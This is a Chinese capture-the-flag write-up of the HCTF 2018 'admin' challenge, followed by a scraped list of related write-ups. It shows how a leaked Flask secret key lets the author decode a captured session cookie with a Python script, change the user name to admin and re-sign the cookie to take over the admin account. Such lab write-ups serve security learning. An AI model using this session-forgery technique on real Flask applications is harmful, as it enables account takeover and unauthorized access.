[HCTF 2018]admin 1

< 文章中有有关flask session 文章 需要认真读一下>

1.信息搜集

由题意,注册admin 用户,回显

The username has been registered

猜测需要去伪造admin身份 ,但是这里并没有获取到实质性的信息,所以查看源码(这里自己还考虑的源码泄露,,,但是并没效果)

非admin 用户登录源码内容(这证明猜想没有问题)

然后在更改密码< change password >处发现提示,,,访问网址(flask session 伪造)

https://github.com/woadsl1234/hctf_flask/                  //这里刚开始并没有发现一些信息

网上搜了一篇flask 框架 身份认证的文章

然后了解到flask 框架是通过sessio n 进行认证的, Flask的session使用

这里在github 上找到了config.py ,里面存在我们想要的 密钥 ckj123

2.伪造flask session

这里其实在user.sql 文件中也发现了admin 和 “ ckj123 ” 的身影,不过当时并不知道这是密钥,唉

但是有了密钥之后我们并不知道如何去进行伪造,,,emmm

好吧肯定是要搜一下如何进行flask session 伪造的(但这个就是 wp ,只能说极限了)

大神里面也是用了一个解密脚本的(对session 进行解密)

唉,怎末脚本都是python ,要去学python了 !!!

加密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1) decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception') if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

还有一种就是 (没用出来)

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

然后就是抓包获取session (change password 的包 ,用于伪造admin)

Cookie: session=.eJxNkE1rwkAQhv9KmbOHRPQieCisBoWZkHRj2L1IamP2I2shKuqI_72rhdLz-8wz78wdtvuhPRqYnYZzO4Kt_YLZHd4-YQZalL3iRUquS0hqp6VnErsxZSrBsTaKdxMU1KMwXkUGa_J5hqzF0qpapXm2uNK4SNFVU5SRldUE3SpBXlqSmz6XmGhnegrFhbhiFB0T9yGXS6PF6krSWJ3FmVB6xT728BcKZR-dT9ezR9y_YuX8HB4j2B2H_fb07dvDvxM8q3ptI5rm4v2mwtpiVty03DgSpdc1GayRKaumUXtDVxoq5i-dDU3X_pnIrdVH95scmhADaJoGRnA-tsPra5Am8PgBTxZsRQ.Y1lA2Q.CIgpWeki-z_V1Inj2M4KE-gD70A

使用脚本解密

{'_fresh': True, '_id': b'd4ec1568456ce934764f43fac7803e08db841cd8c3d1baf58a17d525917815822431b55e934f8e6d075308379f91ad2158bde82ddc956906de7d81564f8023b9', 'csrf_token': b'd93abb4f5802bbb0d2e5c44deca1c34e97d224a5', 'image': b'62XJ', 'name': 'aaa', 'user_id': '10'}

把name 改成admin

加密脚本

https://github.com/noraj/flask-session-cookie-manager

//flask_session_cookie_manager3.py

完成伪造admin ,发包,拿下,

[HCTF 2018]admin 1的更多相关文章

  1. BUUCTF | [HCTF 2018]admin

    首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...

  2. [HCTF 2018]admin

    前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...

  3. [HCTF 2018]admin wp

    首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...

  4. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  5. 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

    攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...

  6. BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)

    目录 方法一:Unicode欺骗 方法二:伪造session 参考文章 记一道flask下session伪造的题. 方法一:Unicode欺骗 拿到题目f12提示you are not admin,显 ...

  7. [HCTF 2018]WarmUp

    靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php     highlight_file(__FILE__) ...

  8. [BUUOJ记录] [HCTF 2018]WarmUp

    BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...

  9. [HCTF 2018]WarmUp 1

    主页面是一个滑稽 得到source.php 观看源码,提示source.php 访问看到源码 <?php highlight_file(__FILE__); class emmm { publi ...

  10. 刷题[HCTF 2018]WarmUp

    解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...

随机推荐

  1. Linux中的IDR机制

    # Linux中的IDR机制 背景 最近在学习 Linux的i2c子系统,看到代码中有关于IDR的调用.了解了一下有关的文档,发现是用来管理指针(对象实例). //based on linux V3. ...

  2. js脚本化css

    脚本化CSS 我们刚讲过如何获取和设置行内样式的值,但是我们开发不会所有样式都写在行内,同时js没法获取内嵌样式表和外部样式表中的值. 事实上DOM提供了可靠的API,得到计算后的样式. 1. 获取计 ...

  3. Gitlab的安装和使用

    安装和配置必要的依赖项 yum install dnf sudo dnf install -y curl policycoreutils openssh-server #将SSH服务设置成开机自启动 ...

  4. PHP 真的不行了?透过 PHP 的前世今生看真相

    大家好,我是码农先森. 1994年我出生在湖南的农村,就在同年加拿大的拉斯姆斯·勒多夫创造了 PHP,这时的 PHP 还只是用 Perl 编写的 CGI 脚本.或许是时间的巧合 PHP 变成了我后半生 ...

  5. SparkSQL on K8s 在网易传媒的落地实践

    作者:鲁成祥 易顺 随着云原生技术的发展和成熟,大数据基础设施积极拥抱云原生是业内发展的一大趋势.网易传媒在 2021 年成功将 SparkSQL 部署到了 K8s 集群,并实现与部分在线业务的混合部 ...

  6. django如何将查询结果的栏位和数值自动遍历出来

    在Django中,MT003HModel.objects.all() 返回的是一个 QuerySet 对象,你可以使用迭代器来遍历其中的每个对象,然后访问对象的属性来获取栏位和数值. 以下是一个简单的 ...

  7. django 计算两个TimeField的时差

    在 Django 中,你可以使用 datetime 模块来计算两个 TimeField 字段的时间差.以下是一个示例: from datetime import datetime, timedelta ...

  8. [oeasy]python0071_字符串类型_str_string_下标运算符_中括号

    回忆上次内容 上次 分辨了 静态类型 语言 动态类型 语言   python 属于 对类型要求 没有那么严格的 动态类型 语言   对 初学者很友好 不过很多时候 也容易 弄不清变量类型   直接 修 ...

  9. SpringBoot2.7 霸王硬上弓 Logback1.3 → 不甜但解渴

    开心一刻 一大早,她就发消息质问我 她:你给我老实交代,昨晚去哪鬼混了? 我:没有,就哥几个喝了点酒 她:那我给你打了那么多视频,为什么不接? 我:不太方便呀 她:我不信,和你哥们儿喝酒有啥不方便接视 ...

  10. Jmeter函数助手4-RandomDate

    RandomDate函数用于生成一段时间范围内的随机日期(年月日). Format string for DateTimeFormatter (optional) (default yyyy-MM-d ...